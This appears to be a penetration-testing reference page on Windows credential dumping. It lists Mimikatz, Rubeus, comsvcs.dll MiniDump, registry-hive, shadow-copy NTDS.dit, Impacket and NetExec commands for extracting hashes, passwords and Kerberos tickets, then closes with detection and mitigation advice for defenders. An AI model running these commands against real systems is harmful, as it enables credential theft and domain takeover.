Internal Pentest

credential_dumping

Technique

Credential Dumping involves extracting credential material from various sources on a Windows system, including:

  1. LSASS Memory: The Local Security Authority Subsystem Service (LSASS) process stores credentials in memory, including plaintext passwords, NTLM hashes, and Kerberos tickets.

  2. SAM Database: The Security Account Manager (SAM) database stores local user account credentials.

  3. NTDS.dit: The Active Directory database file containing domain user credentials.

  4. Kerberos Tickets: Authentication tickets cached in memory or on disk.

These extracted credentials can be used for lateral movement, privilege escalation, and persistence in an environment.

Prerequisites

Access Level:

  • For local credential dumping: Local administrator privileges on the target system
  • For domain credential dumping (NTDS.dit): Domain Administrator privileges or local administrator access to a Domain Controller

System State: Target system must be accessible and the relevant services must be running.

Local Credential Dumping

Using Mimikatz

Dump credentials from LSASS memory:

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Output to file:

.\mimikatz.exe "log C:\path\to\mimikatz.log" "privilege::debug" "sekurlsa::logonpasswords" "log" "exit"

or

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > C:\path\to\mimi-output.txt

Dump SAM database (local credentials):

.\mimikatz.exe "privilege::debug" "lsadump::sam /patchlsadsu" exit

Dump LSA secrets (on a Domain Controller):

.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit

Target krbtgt account (for golden ticket creation):

.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" exit

Using Rubeus for Kerberos Tickets

List cached tickets:

# Non-elevated: Lists current user's tickets
# Elevated: Lists everyone's tickets
Rubeus.exe triage

Specify a service to filter tickets:

Rubeus.exe triage /service:ldap

Dump tickets:

# Non-elevated: Dumps current user's tickets
Rubeus.exe dump
 
# Elevated: Dumps all tickets by targeting krbtgt
Rubeus.exe dump /service:krbtgt

Alternative Methods

Save registry hives and extract locally:

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

Then extract credentials using Impacket:

impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

Dump LSASS with Task Manager:

  1. Open Task Manager
  2. Select the Processes tab
  3. Find & right-click the Local Security Authority Process
  4. Select “Create dump file”

The dump file will be saved to:

C:\Users\<username>\AppData\Local\Temp\lsass.DMP

Rundll32.exe & Comsvcs.dll Method:

Get LSASS PID:

tasklist /svc

or

Get-Process lsass

Create dump file with rundll32:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

Extract credentials with Pypykatz:

pypykatz lsa minidump lsass.dmp

NTDS.dit Dumping

Using Volume Shadow Copy:

vssadmin CREATE SHADOW /For=C:

Copying NTDS.dit from the shadow copy:

cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

Extract credentials with Impacket:

impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

Remote Credential Dumping

Using NetExec

Dump LSA secrets:

nxc smb 10.129.42.198 -u 'username' -p 'password' --local-auth --lsa

Dump SAM database:

nxc smb 10.129.42.198 -u 'username' -p 'password' --local-auth --sam

Dump NTDS.dit:

nxc smb 10.129.201.57 -u 'username' -p 'password' --ntds

Using Impacket

Dump everything remotely:

impacket-secretsdump 'domain.local'/'username':'password'@'IP' -dc-ip <DCIP>

Detection & Mitigation

Detection

  • Monitor for process access to LSASS (Event ID 4656, 4663)
  • Watch for creation of memory dump files
  • Monitor for suspicious use of rundll32.exe with comsvcs.dll
  • Look for Mimikatz-like activity (memory pattern matching)
  • Monitor for registry save operations on SAM, SYSTEM, SECURITY hives
  • Watch for Volume Shadow Copy creation on Domain Controllers

Mitigation

  • Implement credential guard to protect LSASS memory
  • Use Protected Process Light (PPL) for LSASS
  • Restrict local administrator access
  • Implement Just-In-Time (JIT) administration for privileged access
  • Configure Windows Defender Credential Guard (for compatible systems)
  • Implement Attack Surface Reduction (ASR) rules
  • Ensure proper patch management
  • Use strong passwords that resist offline cracking
  • Implement network segmentation to limit lateral movement capabilities